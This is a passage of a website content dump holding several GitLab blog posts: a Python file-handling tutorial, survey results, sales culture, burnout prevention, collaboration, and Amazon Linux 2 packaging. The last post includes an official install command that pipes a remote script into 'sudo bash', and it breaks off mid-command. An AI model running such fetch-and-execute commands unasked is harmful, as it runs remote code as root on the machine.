}\n\nhip_to_be_square = [4, 9, 16, 25, 36, 49]\n\nno_longer_hip_to_be_square = { key:math.sqrt(key) for key in hip_to_be_square }\n\nprint(no_longer_hip_to_be_square)\n```\n\nIn the `no_longer_hip_to_be_square` dictionary, the key is found in the `hip_to_be_square` list. The value for each key is its own square root, brought in with the import math function. There are plenty more useful methods for dealing with dictionaries [here](https://realpython.com/python-dicts/). \n\n## Reading and writing files\n\nThis one is a pretty cool part of Python: reading and writing other files right in the code. With Python, you’re able to take the contents of certain types of files and use it in your code, or even create a new file based on some input. This is useful for data handling and can be used with a  variety of file types. The two I’ll be covering here are .csv and .txt.\n\n### Reading from a file\n\nImagine a .txt file named `best-ever.txt` containing the line `My favorite tv show is Derry Girls`. We can use Python to take that line and turn it into a variable. Running the following code would print the contents of the .txt file to the terminal. \n\n```python\nwith open(\"best-ever.txt\") as text_file:\n  text_data = text_file.read()\n\n#This will print the contents of the .txt file. \nprint(text_data)\n```\n\nBy using `with open(NAME OF FILE) as VARIABLE_NAME:`, we can examine the contents of files as a single string. If the document has multiple lines, you can even separate those by iterating over them by using a for loop and the `.readlines()` method. Using an imaginary .txt document called `buncha-lines` we could use the following to print out each line individually.\n\n```python\nwith open(\"buncha-lines.txt\") as lines_doc:\n  for line in lines_doc.readlines():\n    print(line)\n``` \n### Writing a new file\n\nCreating a new file is also easy with Python. The `open()` function can take an additional argument in order to create a new file. In fact, there’s a default argument that’s been being passed each time without us knowing! `r` is the default argument for `open()` and puts it in read mode. To turn on write mode, pass in a `w` as the second argument. The following code will write a brand-new file called `best_tv_character.txt` with the contents `Peggy Olson from Mad Men`. \n\n```python\nwith open(\"best_tv_character.txt\", \"w\") as best_character:\n  best_character.write(\"Peggy Olson from Mad Men\")\n```\n### Working with .csv files\n\nYou can read a .csv file with Python by using `import csv` at the beginning of the file, and then using some of its built-in methods in the code. However, even though .csv files are plain text, treating a .csv file the same as you treat .txt files can lead to difficult to read outputs; after all, the point of a spreadsheet is to table information. Without that table, the output can be chaotic. A way around this is to use the `dictreader()` method. This method allows you to map the information in each row to a dictionary with field names you can create. The default field names are collected from the first row of the .csv if no field names are given. Imagine a .csv file with columns labeled, “Network”, “Show name”, “Seasons”. Maybe we just want to print the number of seasons from this .csv. \n\n```python\nimport csv \n\nwith open(\"shows.csv\") as shows_csv:\n  shows_dict = csv.DictReader(shows_csv)\n  for row in shows_dict:\n    print(row[\"Seasons\"])\n```\n\nThis would print to the console, on a new line, the number of seasons for each row that exists in the .csv. \n\nJust like with .txt files, you can also create .csv files with Python. It’s a bit more complicated since you need to define the headers, or column names, but it is still a quick process. This can be used to take lists and turn them into .csv files. Let’s check out the following example:\n\n```python\nimport csv\n\nworking_list = [{\"Network\": \"Netflix\", \"Show Name\":\"Bojack Horseman\", \"Seasons\":6}, {\"Network\":\"Channel 4\",\"Show Name\":\"Derry Girls\", \"Seasons\": 3}, {\"Network\":\"HBO Max\", \"Show Name\":\"Our Flag Means Death\", \"Seasons\": 1}]\n\n\nwith open(\"shows.csv\", \"w\") as shows_csv:\n    fields = [\"Network\", \"Show Name\", \"Seasons\"]\n    shows_w = csv.DictWriter(shows_csv, fieldnames = fields)\n\n    shows_w.writeheader()\n    for item in working_list:\n        shows_w.writerow(item)\n```\n\nThis previous code block creates a brand-new csv file by using the `”w”` parameter in `open()`. We manually name the fields in the order they appear in a separate list, then pass that list into the `DictWriter` parameter `fieldnames`. Finally, we use the `writeheader()` and a for loop with the `writerow()` methods to create a header row and to iterate over the `working_list` and turn each entry into a row in the .csv. \n\nThese are only a few ways to work with .csv and .txt files; Python is very versatile and more information [can be found here](https://realpython.com/working-with-files-in-python/).\n",[7715,696,9297],{"slug":14200,"featured":6,"template":678},"learn-python-with-pj-part-4-dictionaries-and-files","content:en-us:blog:learn-python-with-pj-part-4-dictionaries-and-files.yml","Learn Python With Pj Part 4 Dictionaries And Files","en-us/blog/learn-python-with-pj-part-4-dictionaries-and-files.yml","en-us/blog/learn-python-with-pj-part-4-dictionaries-and-files",{"_path":14206,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14207,"content":14213,"config":14219,"_id":14221,"_type":16,"title":14222,"_source":17,"_file":14223,"_stem":14224,"_extension":20},"/en-us/blog/devops-in-education-2021-survey-results",{"title":14208,"description":14209,"ogTitle":14208,"ogDescription":14209,"noIndex":6,"ogImage":14210,"ogUrl":14211,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14211,"schema":14212},"DevOps in Education 2021 Survey results","DevOps and GitLab are helping transform higher education. Here's what we learned.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668253/Blog/Hero%20Images/pencil2.jpg","https://about.gitlab.com/blog/devops-in-education-2021-survey-results","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"DevOps in Education 2021 Survey results\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Christina Hupy, Ph.D.\"}],\n        \"datePublished\": \"2022-05-04\",\n      }",{"title":14208,"description":14209,"authors":14214,"heroImage":14210,"date":14216,"body":14217,"category":962,"tags":14218},[14215],"Christina Hupy, Ph.D.","2022-05-04","\n\nIn fall 2021 we launched our second annual DevOps in Education Survey. Over 460 respondents from all regions of the world shared insights on how DevOps and GitLab are transforming higher education. \n\n## Key findings \n\n- **One platform for the win**: Respondents' enthusiasm for teaching GitLab's single DevOps platform increased 190% over 2020; survey takers also pointed to the way GitLab can tie culture to operations as key (up 189% year over year), and they also value student portfolio management (up 200%). \n\n- **CI/CD success**: Academic institutions reported high rates of adoption of GitLab’s CI/CD features both within the classroom and in all other use cases. \n\n- **Flexibility is key**: Deployment flexibility stands out again as a major advantage of GitLab at institutions of higher education. Security and authentication are the primary drivers. \n\n- **GitLab spreads the DevOps love**: Multiple departments within an academic institution are reporting they’re now using GitLab and 21% of respondents said the ability to install multiple instances across a campus was a GitLab advantage (up 6% from 2020).\n\n- **…and more spread = branching out**: Because GitLab has one complete platform, higher ed. respondents report they’re expanding their DevOps footprint to include additional stages like Secure. The three most used stages in education continue to be Source Control Management, Plan, and Verify. Release and Package are also seeing nearly 30% adoption by respondents. \n\n- **Planning features**: Educators find planning features such as multi-level epics, issue tracking features, labels, and project management highly useful tools. \n\n## Why DevOps belongs in the classroom\n\nThe benefits of teaching or learning GitLab came through clearly in the survey. The fact that GitLab is a single DevOps tool was key for 58% of respondents, up from just 20% in 2020. \n\nWhat are the benefits of teaching or learning GitLab?\n\n![Chart of the benefits of teaching or learning GitLab](https://about.gitlab.com/images/blogimages/gleducation2021.png)\n\n## How GitLab in education works\n\nDeployment flexibility is critical to universities because security and server access can be controlled (81%), all while integrating with user authentication systems (54%). The ability to host multiple instances per institution was also a factor for 21% of respondents, up 6% from last year – another sign that cross-campus adoption is growing.\n\nAdvanced features (only available in the Ultimate tier) are used by 35% of respondents, which remained fairly consistent from 2020. Security features including container scanning, SAST, advanced security testing, custom DAST, and compliance management were among the most frequently mentioned. Multi-level epics and free guest users were commonly mentioned as well. \n\n## Use cases and DevOps stages\n\nThe most common use of GitLab in education was source control management with 53% of respondents actively using, followed by Verify (Continuous Integration) at 40%, Plan (issue tracking, labels) 38%,  Manage (authentification, compliance management) at 28%, Package 29% and Release (Continuous Delivery) at 29%. The top four tools other than GitLab used by respondents were GitHub (76%), GitHub Actions (24%), Jenkins (26%), and BitBucket (17%). \n\nFaculty respondents noted the value of bringing industry tools to the classroom. One wrote, “Thank you for the GitLab Program. It makes it possible for us to manage students' software engineering projects in a modern development environment.”\n\n## Leveraging GitLab to boost skills\n\nThe 2021 survey asked an additional question regarding what specific skills are being taught with GitLab in the classroom. The three top skills taught with GitLab are: CI/CD (40%), collaboration and communication (36%), application development and design (30%). Other key skills included understanding process flows and analytics, modern computer technology and architectures, and system architectures. \n\n## About the participants\n\nOf the respondents, 35.9% have and use a GitLab subscription while 37% do not. The majority of respondents (78%) were at a university. There were 50 departments listed in the results; 40% were in a Computer Science Department and 32% in Information Technology. Of those respondents using GitLab, 23 departments were represented. These departments ranged across the academic disciplines including biology, economics, physics, business, and engineering. Respondents were 46% faculty and staff, 41% students, and 7% Administrators. We had a range of respondents from around the world: 39% were from North America, 28% from Europe, 18% from Asia 18%, and 9% from South America. \n\n## GitLab for Education\n\nWe believe that *everyone can contribute*. We are committed to bringing DevOps to education institutions around the world. We provide free, unlimited, top-tier licenses to qualifying educational institutions for teaching, learning, and research. [Learn more here](/solutions/education/). \nAnd see all the results from the [GitLab for Education 2020 Program Survey report](/solutions/education/edu-survey/edu-survey-2020.pdf).\n",[4103,6962,267],{"slug":14220,"featured":6,"template":678},"devops-in-education-2021-survey-results","content:en-us:blog:devops-in-education-2021-survey-results.yml","Devops In Education 2021 Survey Results","en-us/blog/devops-in-education-2021-survey-results.yml","en-us/blog/devops-in-education-2021-survey-results",{"_path":14226,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14227,"content":14233,"config":14239,"_id":14241,"_type":16,"title":14242,"_source":17,"_file":14243,"_stem":14244,"_extension":20},"/en-us/blog/how-gitlabs-customer-and-partner-focus-fuels-our-culture",{"title":14228,"description":14229,"ogTitle":14228,"ogDescription":14229,"noIndex":6,"ogImage":14230,"ogUrl":14231,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14231,"schema":14232},"How GitLab's customer and partner focus fuels our culture","It’s an exciting time to be working in a customer- or partner-facing role at GitLab. Our sales team members explain why.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749679412/Blog/Hero%20Images/sales_blog_image_tiny.jpg","https://about.gitlab.com/blog/how-gitlabs-customer-and-partner-focus-fuels-our-culture","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"How GitLab's customer and partner focus fuels our culture\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Jake Foster\"}],\n        \"datePublished\": \"2022-05-03\",\n      }",{"title":14228,"description":14229,"authors":14234,"heroImage":14230,"date":14236,"body":14237,"category":6634,"tags":14238},[14235],"Jake Foster","2022-05-03","\n\nIt’s an exciting time to be working in a customer- or partner-facing role at GitLab. Our role with customers is to build personalized relationships and demonstrate how we can help them solve problems with a best-in-class DevOps platform. \n\nAs we grow, our customer and partner focus plays a key role in building a healthy, connected workplace culture at GitLab. So we asked some of our leaders and team members from across the Sales, Channel Partner, and Account Management teams to share their insights. Here’s what we learned.\n\n## The opportunity we have to become the leader in DevOps means hiring more top-tier talent \n\n\"We are on a journey as a company where we believe we have got this exciting market opportunity. We've got a great product that fits the market really well, and that product is an industry leader.\n\n\"We believe a lot of companies are going to buy DevOps. We need to make sure that they buy that from us and that's a hard thing. That execution requires lots of top talent. We want to keep growing, as a team and individually, to capture more market share. That's going to take a lot of people who are great at what they do.\"\n\n- Michael McBride (a.k.a \"McB\"), Chief Revenue Officer\n\n## Why GitLab is an ideal place to grow in a sales or channel partner role \n\n\"We have an integrated GTM with our field sales teams and channels and alliances partners. I look after both the sales organization that manages those partners and supports them and their engagement with our direct selling force, as well as the programs and enablement and functions that it takes to integrate those partners into our go-to-market. \n\n\"I believe we've got great technology, great market timing, high customer need, lots of customer value, and a great product. That makes for a pretty awesome mix from a partnering perspective. It’s lots of fun to manage partners who are aiming to grow their businesses at the same time. It’s going to make the partners very happy.\" \n\n- Michelle Hodges, VP, WW Channels \n\n\"At my previous company, we were an unknown entity and you had to really pull out all the stops to get people just to take a call with you or to test the product or buy the product. Whereas, with GitLab, I would get on calls and customers are super excited to meet people from GitLab. There were quite a few cases where people were already going to buy GitLab, but they just needed someone to help them understand what they wanted to buy. It was a salesperson's dream because you are working with people who not just love the product, but love what the company stands for. \n\n\"I remember one time I was in a coffee shop, and I had a GitLab sticker on my laptop. Someone saw that – he was a developer, he came up to me and said, 'Wow, you work at GitLab. I love that company and we use it in our team.' I felt a bit like a celebrity getting spotted on the streets.\" \n\n- Anthony Ogunbowale - Thomas, Named Account Executive, EMEA \n\n## What makes our culture unique \n\n\"The things in the [company handbook](/handbook/) can be kind of unbelievable to folks from the outside, when they say there's unlimited vacation time or they value results, not hours. But after being here for three years, it's true – there’s a real emphasis on valuing productivity and results. And, when people produce results, they’re rewarded.\" \n\n- Kevin Vogt, Federal Technical Account Manager\n\n\"I am not joking when I say this: This is the most successful I've ever felt in my career. And a lot of it is down to our values. \n\n\"We have a value system that's called [CREDIT](https://handbook.gitlab.com/handbook/values/): It's collaboration; results; efficiency; diversity, inclusion, and belonging; iteration; and transparency. You will find in every engagement with a GitLab team member that they work towards exhibiting those things in a really authentic, intentional manner. It makes it a great place to build relationships, but also to get your job done. It creates innovation, speed, and teamwork in a way that I haven't found before.\" \n\n- Michelle Hodges\n\n## How GitLab sets its team members up for success \n\n\"We 'dogfood' our tools. We use GitLab for everything from HR to legal – the entire company uses GitLab as a platform. \n\n\"The company is also great with training. Any time that I've ever wanted training for any kind of need in my business role, they've always provided it and reimbursed it. I just finished a month's worth of training classes on how to be a successful manager. That's my first month going into that role, trying to make sure that I can be set up for success in it.\" \n\n- Kevin Vogt\n\n\"Every conversation with the customer is a collaboration. In pre-sales, we have a solutions architect, who's more of a technical person, and they can help lead on answering technical questions or do demos and proof of concepts. And then, depending on how the conversation is going, we might bring on someone from Product, in relation to what the customer's looking at. Everyone in the organization works together to help the customer understand and feel comfortable with the solution.\" \n\n- Anthony Ogunbowale - Thomas\n\n\"McB, our CRO, does his own Reverse Ask Me Anything session for team members that are underrepresented in tech to understand what the experience is on the GitLab Sales team. And also what upward mobility and trajectory could look like in the company. \n\n\"I feel very supported here. I feel empowered. It's one of the first jobs I've felt where they just trust me. They tell me to take things and run with it.\" \n\n- Marcus Carter, Senior Sales Recruiter\n\n## What we’re looking for as we grow our team \n\n\"I would say, curiosity is huge. Somebody who's curious and doesn't mind asking questions. I'd say somebody who is customer-focused, somebody who's excited about our customers, and somebody who's excited about technology as a whole, and in how technology is set to advance us. It's someone who is tenacious, somebody who is unrelenting and trying to offer solutions.\" \n\n- Marcus Carter\n\n\"This is a place where we believe we have a large market in every single one of our territories. There are customers that need the right DevOps solution and our product fits with those customers really well. So that leaves one last thing, sales skill. \n\n\"That’s great for a sales rep. If I've got the right product and a solid market, I'm excited, because I know I can deliver the sales skill, especially if I've got the marketing support and all the other things that GitLab has.\" \n\n- Michael McBride\n\n\nIf GitLab sounds like the place for you, there’s plenty more to learn about what it’s like to be a part of our team on our [careers site](/jobs/). You can also [learn more about open roles on our team](https://boards.greenhouse.io/gitlab).\n",[676,7715,4103],{"slug":14240,"featured":6,"template":678},"how-gitlabs-customer-and-partner-focus-fuels-our-culture","content:en-us:blog:how-gitlabs-customer-and-partner-focus-fuels-our-culture.yml","How Gitlabs Customer And Partner Focus Fuels Our Culture","en-us/blog/how-gitlabs-customer-and-partner-focus-fuels-our-culture.yml","en-us/blog/how-gitlabs-customer-and-partner-focus-fuels-our-culture",{"_path":14246,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14247,"content":14252,"config":14256,"_id":14258,"_type":16,"title":14259,"_source":17,"_file":14260,"_stem":14261,"_extension":20},"/en-us/blog/preventing-burnout-a-managers-toolkit",{"title":14248,"description":14249,"ogTitle":14248,"ogDescription":14249,"noIndex":6,"ogImage":6704,"ogUrl":14250,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14250,"schema":14251},"Preventing burnout: A manager's toolkit","GitLab CEO Sid Sijbrandij shares 12 steps that managers can take to help employees avoid burnout.","https://about.gitlab.com/blog/preventing-burnout-a-managers-toolkit","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Preventing burnout: A manager's toolkit\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2022-05-03\",\n      }",{"title":14248,"description":14249,"authors":14253,"heroImage":6704,"date":14236,"body":14254,"category":6634,"tags":14255},[711],"Working at a startup is demanding. GitLab team members are often under a lot of pressure. From mental health awareness to our posts on [identifying burnout](/blog/preventing-burnout/), GitLab wants to ensure our team members are working efficiently without feeling overwhelmed. Recently, GitLab co-founder and CEO Sid Sijbrandij and Michelle Hodges, vice president of Global Channels, discussed how managers can support their team members and help prevent burnout.\n\nSid and Michelle emphasized that the earlier a manager can identify burnout the better. Identifying burnout in a remote environment is more difficult than in a co-located workplace, but looking for early hallmarks such as exhaustion and reduced enthusiasm can help managers get ahead of the problem. \n\nSid shared the following 12 strategies managers can utilize to support their team and prevent burnout:  \n\n1. **Encourage time off.** Even taking a half day can help. Managers can take an active role in encouraging team members to take time off by telling their team members about their own upcoming vacations. Managers can ask team members when their next vacation is and, if they don’t have one, encourage them to plan one.\n\n1. **Lower the pressure.** When a manager senses that someone on their team may be getting close to burnout, they can lower the pressure of goals and [objectives and key results (OKRs)](/company/okrs/) and also ask about goals less frequently.\n\n1. **Be more positive.** Frankly, managers can be a significant source of stress, so try to be more positive about the team member and their reports. \n\n1. **Increase headcount.** Most of the time, there’s too much work for too few people, so managers can explore options to increase headcount. This can be temporary, such as borrowing time from someone on another team or hiring a consultant. \n\n1. **Offer team members coaching.** External coaching can help team members open up about their struggles, including working with their manager. \n\n1. **Remind employees of mental health care resources.** Point employees toward the company's mental health benefits and services. GitLab provides support to all team members through [ModernHealth](/handbook/total-rewards/benefits/modern-health/).\n\n1. **Express gratitude.** Send team members gifts to their home to show gratitude and an investment in your personal relationship. \n\n1. **Celebrate progress.** Burnout is often caused by a feeling of stagnation. Seeing the progress you’re making day-to-day is hard. Managers should create space to celebrate small wins and reflect on the mountains you’ve climbed. \n\n1. **Sympathize.** The work is tough. Have conversations about it. \n\n1. **Lead by example.** Managers should set and maintain working hours. For instance, Sid says he waits until the next working day to respond to Slack messages that happen after 6 p.m. \n\n    Help team members to be more effective by: \n    - Reviewing recurring meetings and [identifying what can be done async](/company/culture/all-remote/meetings/#2-cancel-unnecessary-meetings)\n    - Talking about what they're working on and helping them identify what work isn’t as important\n    - Identifying work that can be delegated to other team members, and empowering them to do so\n\n    Managers can also encourage team members to name things they won’t do. \n\n1. **Reduce the number of hours worked by agreeing to reduce effort.** Managers can ask team members to identify things that are likely to fail. Taking time to reflect on results can be very insightful and can allow team members to reduce their effort without compromising quality.\n\n1. **Share burnout concerns with others.** Using judgement or with permission, managers can give context and ask others to take it easy on specific team members when necessary.\n\nWatch the full conversation below.\n\n\u003Cfigure class=\"video_container\">\n  \u003Ciframe src=\"https://www.youtube.com/embed/9VO0H28QEz8\" frameborder=\"0\" allowfullscreen=\"true\"> \u003C/iframe>\n\u003C/figure>\n",[676,3798,7715],{"slug":14257,"featured":6,"template":678},"preventing-burnout-a-managers-toolkit","content:en-us:blog:preventing-burnout-a-managers-toolkit.yml","Preventing Burnout A Managers Toolkit","en-us/blog/preventing-burnout-a-managers-toolkit.yml","en-us/blog/preventing-burnout-a-managers-toolkit",{"_path":14263,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14264,"content":14270,"config":14275,"_id":14277,"_type":16,"title":14278,"_source":17,"_file":14279,"_stem":14280,"_extension":20},"/en-us/blog/5-ways-collaboration-boosts-productivity-and-your-career",{"title":14265,"description":14266,"ogTitle":14265,"ogDescription":14266,"noIndex":6,"ogImage":14267,"ogUrl":14268,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14268,"schema":14269},"5 ways collaboration boosts productivity and your career","Collaboration is a powerful tool and DevOps pros that learn how to master it will expand their growth opportunities.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749668473/Blog/Hero%20Images/john-schnobrich-FlPc9_VocJ4-unsplash.jpg","https://about.gitlab.com/blog/5-ways-collaboration-boosts-productivity-and-your-career","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"5 ways collaboration boosts productivity and your career\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Sharon Gaudin\"}],\n        \"datePublished\": \"2022-05-02\",\n      }",{"title":14265,"description":14266,"authors":14271,"heroImage":14267,"date":14272,"body":14273,"category":7715,"tags":14274},[3907],"2022-05-02","\n\nA lot of DevOps professionals might feel confident they’ve got a lock on their DevOps role. They don’t need anyone else chiming in on how to update a software feature or plan a new product.\n\nOther DevOps pros want to focus on learning new programming languages or figuring out how best to use machine learning. They think they don’t have time for so-called soft skills like [communication and collaboration](/blog/six-key-practices-that-improve-communication/).\n\nAt its heart, DevOps is collaboration. It’s a team sport. Of course, staying sharp with hard skills like machine learning, new programming languages, and other cutting-edge technology is fantastic, but don’t ignore soft skills. Enabling teamwork is a [cornerstone of DevOps](/blog/4-must-know-devops-principles/).\n\nMaking this cultural shift means teammates are all pulling in the same direction. It means more, and more diverse, input leads to better, well-rounded products and software. And it also means career development.\n\nHere’s a look at just a few ways a [culture of collaboration](/blog/collaboration-communication-best-practices/) can benefit a DevOps team, software development and deployment, and DevOps professionals’ careers.\n\n## Boosting DevOps professionals’ careers\n \nIt’s clear that [companies are increasingly dependent](/blog/the-top-skills-you-need-to-get-your-devops-dream-job/) on DevOps professionals who are able to not only work with various teams, but who also are able to clearly communicate with colleagues in other departments, like finance and marketing. The [2021 Global DevSecOps Survey](https://learn.gitlab.com/c/2021-devsecops-report?x=u5RjB_) reported that IT professionals working in development, security, and operations all said they need better communication and collaboration skills for their future careers. And nearly 23% said these soft skills will give the biggest boost to their careers. Being able to work across departments, clearly communicate needs and ideas, and work together to innovate better products makes a tech person more valuable to the overall company, leading to [management roles and higher salaries](/blog/soft-skills-are-the-key-to-your-devops-career-advancement/).\n\n## Using the buddy system to iterate faster\n\nThe bedrock of a [DevOps culture is collaboration and joint responsibility](/blog/if-its-time-to-learn-devops-heres-where-to-begin/). And for good reason, because better cooperation leads to more, and more efficient, continuous, iterative development and feature deployment. Cooperation makes a DevOps team more agile so it can adapt to changes in projects and workloads. \n\nWith traditional application development, managers, developers, security professionals, and those on the operations team generally work in silos. They don’t communicate readily or well. They don’t work together on projects or share documentation and knowledge. With DevOps, though, those silos begin to be broken down. And by joining forces, teammates can pool efforts to assess problems, envision solutions, and create and deploy high-quality applications from a single end-to-end application. Breaking down those silos fosters better decision-making and creativity, and increases information and resource sharing. \n\n## Creating better products\n\nBy creating partnerships, DevOps teams are able to more quickly adjust to changing market needs and take on new competitors. Sharing data, and the workload, across disparate teams also empowers them to find out what customers need, what delights them, and the features that need to be created. More input from people with different perspectives and different backgrounds means a company will get software with features that speak to a wider range of users. All of this leads to better products, and that leads to a stronger business.\n\n## Pulling different business teams together\n\nFostering cooperation isn’t just for DevOps team members. A truly collaborative culture also should include colleagues in different parts of the company. Members of the security team, marketing, finance, customer service, and the C-suite all can participate to create better software. Collaboration between DevOps and security, for instance, leads to less duplication of effort, more secure software, and a more secure company. Similarly, someone in customer service would have direct insights into what users like, and don’t like, about current products. Integrating their feedback into ongoing processes will provide the ability to leverage their expertise before code is delivered. \n\n## Taking advantage of everyone’s expertise\n\nBy inviting discussion, input, and assistance from experienced and new team members, as well as from people in different business departments, a culture can be built around learning from and relying on others’ expertise. This enables DevOps professionals to discover other perspectives and contribute beyond what might have once been a narrow focus. Think of everyone’s knowledge and experience as pieces of a shared resource library that can be tapped into for every project.\n \n\n",[4103,7715,2368],{"slug":14276,"featured":6,"template":678},"5-ways-collaboration-boosts-productivity-and-your-career","content:en-us:blog:5-ways-collaboration-boosts-productivity-and-your-career.yml","5 Ways Collaboration Boosts Productivity And Your Career","en-us/blog/5-ways-collaboration-boosts-productivity-and-your-career.yml","en-us/blog/5-ways-collaboration-boosts-productivity-and-your-career",{"_path":14282,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":14283,"content":14289,"config":14293,"_id":14295,"_type":16,"title":14296,"_source":17,"_file":14297,"_stem":14298,"_extension":20},"/en-us/blog/amazon-linux-2-support-and-distro-specific-packages",{"title":14284,"description":14285,"ogTitle":14284,"ogDescription":14285,"noIndex":6,"ogImage":14286,"ogUrl":14287,"ogSiteName":1180,"ogType":1181,"canonicalUrls":14287,"schema":14288},"Amazon Linux 2 support and distro-specific packages for GitLab","Learn how to do early testing as well as how to peg your automation to the EL 7 packages until you are able to properly integrate the changes into your automation.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749682299/Blog/Hero%20Images/gitlab-blog-banner.png","https://about.gitlab.com/blog/amazon-linux-2-support-and-distro-specific-packages","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Amazon Linux 2 support and distro-specific packages for GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Darwin Sanoy\"}],\n        \"datePublished\": \"2022-05-02\",\n      }",{"title":14284,"description":14285,"authors":14290,"heroImage":14286,"date":14272,"body":14291,"category":736,"tags":14292},[1244],"\n\nGitLab’s Distribution Engineering team has been hard at work getting Amazon Linux 2 distro-specific packages ready in preparation for GitLab’s official support of Amazon Linux 2. Starting with Version 15.0 of GitLab, Amazon Linux 2 is a supported distro and packages are available for both x86 and Graviton ARM architectures.\n\n## What is Amazon Linux 2?\n\nAmazon Linux 2 is the next-generation Amazon Linux operating system that provides a modern application environment with the most recent enhancements from the Linux community alongside long-term support. Amazon Linux 2 is accessible as a virtual machine image for on-premises development and testing. This lets you easily develop, test, and certify your applications right from your local development environment. \n\nAccording to the AWS FAQ page for Amazon Linux 2, the primary elements of this latest version of the operating system include:\n\n1. A Linux kernel tuned for performance on Amazon EC2.\n\n2. A set of core packages including systemd, GCC 7.3, Glibc 2.26, Binutils 2.29.1 that receive Long Term Support (LTS) from [AWS](/blog/deploy-aws/).\n\n3. An extras channel for rapidly evolving technologies that are likely to be updated frequently and outside the Long Term Support (LTS) model.\n\nAmazon Linux 2 has a support lifespan through June 20, 2024, to allow enough time for users to migrate to Amazon Linux 2022.\n\n\n## Safely moving forward to Amazon Linux 2 packages from EL7\n\nWhile Amazon Linux 2 has not been officially supported before 15.0, as a convenience to customers who wanted to use yum and RPM packages to install the EL7 packages, GitLab configured a workaround in our packaging services to direct Amazon Linux 2 yum requests to the EL7 packages. If you’ve been using GitLab’s yum repo registration script, you many not know that you were using EL7 packages and not distro-specific packages.\n\nThis workaround will be deprecated and requests from Amazon Linux 2 will get the distro-specific packages with the release of GitLab 15.3.0 on August 22, 2022.\n\nAs a convenience for those of you who have automation that depends directly on this workaround, we wanted to provide you with information on how to do early testing as well as how to peg your automation to the EL 7 packages until you are able to properly integrate the changes into your automation.\n\nGitLab documentation demonstrates how to call our managed yum repository setup scripts by downloading the latest copy and running it directly in [the instructions for installing instances](https://about.gitlab.com/install/#centos-7) and [the instructions for installing runners](https://docs.gitlab.com/runner/install/linux-repository.html).\n\nAny organization using GitLab’s EL 7 packages for Amazon Linux 2 will want to test with - and update to - the distro-specific packages as soon as possible as GitLab will only be testing Amazon Linux 2 with the Amazon Linux 2 specific packages going forward.\n\nWe also understand that the timing of the testing and migration to these packages must be done in a coordinated cutover so that the package type does not change in your existing stacks without you having made any changes. This can be more important if a GitLab stack has undergone platform qualification for compliance purposes.\n\nAmazon Linux 2 specific packages are only available for GitLab 14.9.0 and later. If your automation depends directly on GitLab’s repo configuration script and it is still pegged to a GitLab version prior to 14.9.0 when this change becomes GA, then action must be taken to prevent breaking that automation. We have devised an idempotent two-line script solution that you can put in place now to prevent disruption if you are still on a pre-14.9.0 version at the time the new behavior of `script.rpm.sh` becomes GA on August 22, 2022 with the release of GitLab 15.3.0.\n\nGitLab rake-based backup and restore will continue to work seamlessly across the distro-specific package changes if you have to restore to your Amazon Linux 2 built stack from an EL7 backup. If you are using third-party backup, you may wish to trigger a new backup immediately after transitioning to the new distro packages to avoid the scenario altogether.\n\n## Amazon Linux 2 packages for building GitLab instances before 15.3.0\n\nThe following code inserts two lines of code between those originally outlined in [the instructions for installing using RPM packages](/install/#centos-7). The first one (starts with `sed`) splices in the Amazon Linux 2 yum repo endpoint edits into the repository configuration file created by script.rpm.sh. The second one (starts with `if yum`) cleans the yum cache if the package was already installed so that the new location will be used.\n\n> Sudo note: If you are using these commands interactively under the default SSH or SSM session manager user, then using `sudo su` before running this code is necessary. If you are using these commands in Infrastructure as Code (e.g. CloudFormation userdata scripts), then sudo may cause ‘command not found’ errors when the user running automation is already root equivalent. Be mindful about using interactively tested commands directly in your automation.\n\n```bash\n#Existing packaging script from https://about.gitlab.com/install/#centos-7\ncurl https://packages.gitlab.com/install/repositories/gitlab/gitlab-ee/script.rpm.sh | sudo bash\n\n#Patch to preview and/or peg Amazon Linux 2 specific packages\nsed -i \"s/\\/el\\/7/\\/amazon\\/2/g\" /etc/yum.repos.d/gitlab_gitlab*.repo\n\n#Reset the cache if the package was previously installed (not needed for installs onto a clean machine)\nif yum list installed gitlab-ee; then yum clean all ; yum makecache; fi\n\n#Existing install command (remove \"-y\" to validate package and arch mapping before install)\nyum install gitlab-ee -y\n```\n\n> Notice in this output that the **Version** ends in `.amazon2`. In this case the **Arch** is `aarch64` - indicating 64-bit Graviton ARM.\n\n![Resolved GitLab Dependencies](https://about.gitlab.com/images/blogimages/2022-04-amazon-linux-2/gl-instance-dependencies-resolved.png)\n\n### Moving to Amazon Linux 2 packages early for a seamless post-GA transition\n\nWhen the script.rpm.sh script is cut over to always point Amazon Linux 2 to the new distro-specific packages, the sed command will no longer be necessary. However, sed is also idempotent and will not make edits if the search text is not found. This means you can use the sed command to switch over early, but not have to worry about a breaking change when the `script.rpm.sh` is updated.\n\n### Pegging EL 7 and/or a GitLab version prior to 14.9.0 for a seamless post-GA transition\n\nIf your automation is pegged to an earlier version of GitLab, you will need to keep using EL7 packages, and, in fact, after the cutover you would need to implement the opposite command (which is also idempotent to be implemented now).\n\n```bash\n#Patch to peg GitLab Version to EL 7 Packages (only does something after GA of gitlab repo script)\nsed -i \"s/\\/amazon\\/2/\\/el\\/7/g\" 